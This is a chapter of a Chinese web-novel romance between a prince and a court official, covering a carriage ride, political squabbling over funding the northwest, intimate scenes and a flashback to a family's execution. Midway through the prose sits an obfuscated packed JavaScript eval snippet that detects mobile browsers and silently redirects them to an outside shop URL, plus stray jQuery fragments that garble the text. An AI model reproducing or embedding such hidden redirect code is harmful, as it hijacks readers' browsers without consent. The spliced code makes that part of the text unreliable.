一路上颠簸,晏渡睡不安稳,半途上懵懵然转醒,撩开帘子一看,已见着秦淮河了。

    “殿下的身上太硬,抱着不舒服。”

    话虽如此,也没有要下去的意思,整个人都挂在谢徵身上,将他当作雪地里的篝火似的。

    谢徵借着帏帘缝隙里投入的月色望向他,调笑说:“本王大概是起到一个供暖的作用。”

    “殿下聪慧。”晏渡叹口气,指尖绕到自己腰后,去摸他的手,触及一片微凉。他抓着谢徵的右手往自个儿身前来,细细抚着那个骨扳指。

    谢徵的那把御赐开元弓,传言有近百斤,拉这样的重型弓必须在拇指上戴上骨扳指才不会伤了手。他手上这枚骨扳指是由马鹿角制成的,取自祁连山老驼鹿,打制数月做成的。

    这是与谢徵刚成婚那年,他亲自为谢徵打的。

    也是谢徵口中所谓的定情信物。

    世人皆知,谢徵开弦如满月,一箭穿札,令北虏人闻风丧胆。

    但事实上,谢徵到底是金陵长大的天潢贵胄,在到封地之前,也不过是个空有一身武艺的闲王。这射术,都是在西北领兵那几年练出来的。

    但他不一样。他九岁就被沈桥带着挽弓射鹰,是真正养在凉州帅府、生在西北的人。

    “我以前那枚扳指……”晏渡放下他的手,不想再看了,“也不知道丢哪去了。”

    谢徵怔了怔,想起他的那枚扳指,是在甘州丢的,当时他二人在营帐里找了大半日也没寻到。

    这是他戴了近十年的物什,丢了以后,也就成了一个心结。

    “等你养好身子,哥哥带你拉弓射鹰去?”谢徵轻掰过他的脸,问道。

    晏渡对这些并没有什么执念,他只当那些边沙旧事是少时的一场梦。

    他不是没有偷偷握过谢徵那柄弓,他不是拉不开弦,是握不动弓。

    “少给自己脸上贴金,你以前逞强射鹰,浪费多少箭矢?”

    “哎,士别三日还当刮目相看。”谢徵被揭了老底儿也不羞,“这都十几年前的事儿,我现在什么本事你不清楚?”

    “不跟你闹了。”晏渡把下巴搭在他肩膀上,环住他的腰,与他鼻尖贴着鼻尖,热息都交缠在一块儿。

    谢徵想亲他,他使坏往后躲。

    谢徵只能握着他的后脖子,长驱直入。

    亲得他两条腿都在发软,唇瓣还被吮着,腰上也是酥麻麻的一片,身后也浸了湿润。

    坏透了。

    晏渡掐着他的脖子推开他,刻意报仇般,用力要在他脖子上也留一圈痕迹。

    他气息还急促着,脸颊上红晕一片,唇被吻得红润,还有几分肿。

    “再掐,就被你掐死了。”谢徵含混地说,一双深蓝色的眼睛依旧是紧紧锁着他。

    晏渡想触摸他的眼睛。

    深邃、沉暗,蕴着草原人放荡不羁的野性,似有将人一眼望穿的本事。

    只是盯着,便让他心尖儿打颤。

    他用细瘦的双臂拢着谢徵的脑袋,颔首,细腻地啄吻那双眼,刻意地顶出一点舌尖,在那层眼皮上留下一点湿濡。

    谢徵合拢眼皮,静静享受湿润的触感。他覆上晏渡的心口,掌心下是砰砰的躁动。他顺着那人清瘦的腰身,一寸寸往晏渡腹前挪动,快要摸索到肚脐那块时,被晏渡瑟缩着扣住了手腕。

    “不准摸。”晏渡捯饬着衣袖,不敢接着坐在他身上了,撑着车壁往一边鹅绒软垫子上挪,双月退下意识并拢。

    再摸就要出事了。

    “有只小狐狸一直在舔我的眼皮,也不知道是谁。”谢徵故意从容地说,下袍里已有些苗头,“知道夫君当了这么久和尚,还这么明目张胆撩拨,你也不怕吃苦头。”

    晏渡不着他的道,声里带些哑:“哪来的狐狸,这里只有人。”

    “说说吧,殿下卖了多少别业呀,能把西北的坑填上?”他手肘抵在谢徵肩畔,扶着额道。

    今日,虞王刚回金陵,就火急火燎往内阁去要钱,将晏大人羞辱了一顿不说,还劈头盖脸骂了户部几个官,这事怕是早就传到司礼监,传到皇上耳朵里了。

    要钱是假的,谢徵一早就知道,这钱他要不着。他没有母家做依靠,朝堂上,傅党与柳党虽然分庭抗礼,但柳尚书是燕王谢垣的舅父,傅党也对燕王暗中倾斜。

    他们几月前求谢徵平定吐鲁番汗国叛乱,声声恳切,嘴上说没有殿下大靖危矣,实则巴不得谢徵死在西北。

    谢徵自知瞒不过他,坦诚说:“洛阳一处别业,杭州一处茶庄,苏州三处铺子,松江五个……”

    “别说了,”晏渡气得额角发胀,睨着他说:“我看昱儿也不必承你的爵了,日后直接出门喝西北风算了。你那么多在盐铁走私里捞油水的叔叔伯伯,你——”

    “你回京的路上,往江西、河北那儿,随便敲诈你几个藩王,西北的空就补上了!”

    他心头一热,往谢徵小腿肚上踹了一脚,就是使不上劲,踹在他身上也软绵绵的。

    谢徵摆出一副伏低做小的姿态,俨然已是被他耳提面命教训习惯了,等他不骂了,才敢大喘气,揽着他的腰际,“祖宗,我错了还不行吗?再说了,你今天不也让我把钱捐了——”

    “我那是说给魏绍他干儿子听的!”

    “行行行——”

    晏渡抱着胳膊生了会气,半晌才消下气来,“也不知道昱儿吃饭了没有,你不在就把昱儿送去国子监,我也见不到他,不知道他吃得怎么样,睡有没有睡好。你又是存心的。”

    谢徵出征前,就请皇上特允世子去国子监听几月学。他人不在京城,养的私兵不能轻举妄动,怕的是有人打昱儿的主意,这才心一横把孩子送去太学里,都是世家子弟在一块念书,没人敢在皇帝眼皮子底下打歪心思。

    谢徵:“我明日去接他回来。”

    “不用你去,”晏渡说,“皇上明日令我往国子监陪祀岁晏祭仪,顺带去瞧瞧太傅。”

    谢徵扬了唇角:“帮我给他老人家捎份礼过去。”

    -

    车舆形制因主人的官职、地位而异,晏府的马车不可能明目张胆将他拉去王府,他二人要私会,谢徵有别的招数。

    ——谢徵把乌衣巷另一处宅子买下来了。

    为了避免被朝廷之人察觉,红契上记的他十七叔宁王谢韫的名,为此,他还千里迢迢请宁王回京来在宗人府备的案。

    晏渡半仰着脖颈,背倚在宽大的池壁上,墨发绕着后颈滑到身前,身段纤细,身前几处还留着谢徵方才折腾出的痕迹。

    他从朱漆托上捻起了烟杆,用火镰点燃,合着眼眸抽起来。

    雾气漫过他的颊侧,弯绕着飘到半空,他似乎浸在云雾里,美得不可方物。

    谢徵端着东西绕过屏风走进来,正

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702609|208230||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    巧撞见这一幕,脚步一顿,鼻头一热。

    晏渡闻声转过身,两只手臂搭在池沿上,微微托着下巴,眼尾还红着,指尖轻轻点着,两只眼直勾勾地盯着来人。

    他回想到,方才怎么将这谪仙似的人欺负得醉仙欲死的,不禁……

    “你怎么去了这么久?”晏渡身上只穿了件薄衫,被池中水浸湿,松垮垮覆在身上,勾勒得腰身更为纤瘦。

    谢徵将案托搁在一侧的梨花木小案上,晏渡瞧了一眼里头摆着的汤药碗,旋即蔫巴巴地说:“不想喝。”

    “不想喝也得喝,这件事没得商量。”谢徵往他那儿走,看着他捏着烟杆子,蹙了蹙眉。“你不能在水里泡太久,差不多得了。”

    晏渡赏他一眼,缓缓呼着口中的烟气。

    谢徵虚晃一下,手伸到背后,谈起了条件:“二爷乖乖把药喝了,我就让这东西物归原主。”

    是晏渡让他从虞都王府带回的东西。

    晏渡急着要拿,匆匆挺直了身子,月退上还酸着,费劲从踏阶走上来,取了池沿上备好的中衣,极快地披到身上。发梢沾着水,几缕落在眉眼两侧,清隽雅致。

    “给我。”他要去抢,被谢徵拦着腰扛到了肩膀上,一下子顶得腰腹疼,他狠狠捶了几下,拗不过,只能挂在人身上,被人抱去了一边的矮榻。

    谢徵执起那碗黑漆漆的、冒着苦味的汤药,舀了一勺喂到他唇边,暧昧地说:“乖乖喝了,哥哥就把东西给你。”

    晏渡无奈,张开唇瓣,一口口喝下。

    他喉头泛苦,小腹也开始发紧地痛。“腹痛……”他弱声说,声线有些颤。

    谢徵忧心他,撂下了瓷碗,从衣襟口取出帕子,再抬眼的功夫,人已经将他身后的物什握到了手上。

    “偷东西倒是快。”

    晏渡一寸寸抚摸这柄匕首上雕的纹路,他拔刀出鞘,刀刃上映着他的眼睛,他细细摩挲过刀片,眼底逐渐空洞下去。

    “谢徵,我打算重新给它起个名字。”

    他顿了须臾,一字一字道:“眼花耳热后,意气素霓生。”①

    “便叫素霓吧。”

    他将小臂压在额头,牢牢地将那柄匕首握在身前,眼里化作了一团死寂。

    他母亲体弱多病,凉州那等风沙地带不养人,这病便也愈发得重。母亲过世时也不过二十五岁。

    母亲出殡那天,凉州下了场多年难遇的大暴雨。他跟在堂兄身后,握着哥哥的手,任泪水混在雨水里,压着哭声不敢惊动父亲。

    沈桥一路上都沉默着,沈令望悄悄哄他,说婶母只是去了很远的地方,让他不要哭。

    母亲要入殡时,沈桥却令人停下,他从棺木里取出了一把匕首,最后看了眼妻子,才让人合上了棺盖。

    大将军的腰板永远挺得笔直,唯那一次,父亲的脊背都在剧颤。

    那是他第一次看见沈桥哭。

    他再见到这把匕首,已经是锦衣卫举着武定侯沈桥通敌叛国的罪诏,奉旨抄家那日。

    沈家上下九十口人,只活了他一个。

    他从沈桥的枕下寻到的此物,匕首上还绕着沈氏夫妻二人结发时的香囊。

    良久,晏渡握着匕首的指尖攥紧,“谢徵,你信我爹谋反吗?”

    谢徵无声地摇头。

    晏渡失笑,眸中却满是痛苦与恨意:“我倒希望,他是真谋逆。”